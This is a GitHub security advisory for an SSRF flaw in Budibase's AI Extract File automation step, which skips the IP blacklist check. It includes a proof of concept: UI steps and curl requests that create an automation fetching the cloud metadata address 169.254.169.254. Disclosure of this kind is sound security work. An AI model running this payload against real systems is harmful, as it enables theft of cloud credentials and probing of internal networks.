Skip to content

Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation

High severity GitHub Reviewed Published May 11, 2026 in Budibase/budibase

Package

npm @budibase/server (npm)

Affected versions

< 3.34.8

Patched versions

3.34.8

Description

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.

Vulnerable Code

packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetch(fileUrl)  // NO blacklist check!
  // ...
  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!
}

Contrast with All Other Automation Steps (Same Codebase)

Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:

  • steps/slack.ts:19: response = await fetchWithBlacklist(url, {...})
  • steps/discord.ts:28: response = await fetchWithBlacklist(url, {...})
  • steps/zapier.ts:33: response = await fetchWithBlacklist(url, {...})
  • steps/n8n.ts:53: response = await fetchWithBlacklist(url, request)
  • steps/outgoingWebhook.ts: response = await fetchWithBlacklist(url, {...})
  • steps/make.ts: response = await fetchWithBlacklist(url, {...})

The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:

  • 127.0.0.0/8 (loopback)
  • 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private)
  • 169.254.0.0/16 (link-local / cloud metadata)
  • IPv6 private addresses

The AI Extract File step bypasses all of these protections.

Steps to Reproduce

Via Budibase UI

  1. Login as builder user
  2. Create or open any app
  3. Go to Automations > New Automation
  4. Add trigger: App Action
  5. Add step: AI > Extract File Data
  6. Set Source: URL
  7. Set File URL: http://169.254.169.254/latest/meta-data/ (or any internal IP)
  8. Click Run Test — the server makes the request without IP blacklist validation

Via curl (API)

# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/global/auth/default/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'

# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/automations" \
  -X POST -H "Content-Type: application/json" \
  -H "x-budibase-app-id: YOUR_APP_ID" \
  -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'

Code Review Verification

Compare the vulnerable function with the safe pattern used everywhere else:

VULNERABLE (no blacklist):
  packages/server/src/automations/steps/ai/extract.ts:116
    const response = await fetch(fileUrl)

SAFE (with blacklist) - every other step:
  packages/server/src/automations/steps/slack.ts:19
    response = await fetchWithBlacklist(url, {...})
  packages/server/src/automations/steps/discord.ts:28
    response = await fetchWithBlacklist(url, {...})

Expected vs Actual Behavior

Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist()
Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.

Impact

An authenticated user with builder permissions can:

  • Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
  • Scan internal network services and ports
  • Access internal APIs not intended for external access
  • Exfiltrate data from internal services via the automation response

In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.

Proposed Fix

Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:

import { fetchWithBlacklist } from "../utils"

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist
  // ...
  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist
}

References

@mjashanks mjashanks published to Budibase/budibase May 11, 2026
Published to the GitHub Advisory Database May 15, 2026
Reviewed May 15, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-45548

GHSA ID

GHSA-rpj4-7x2v-wjrf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.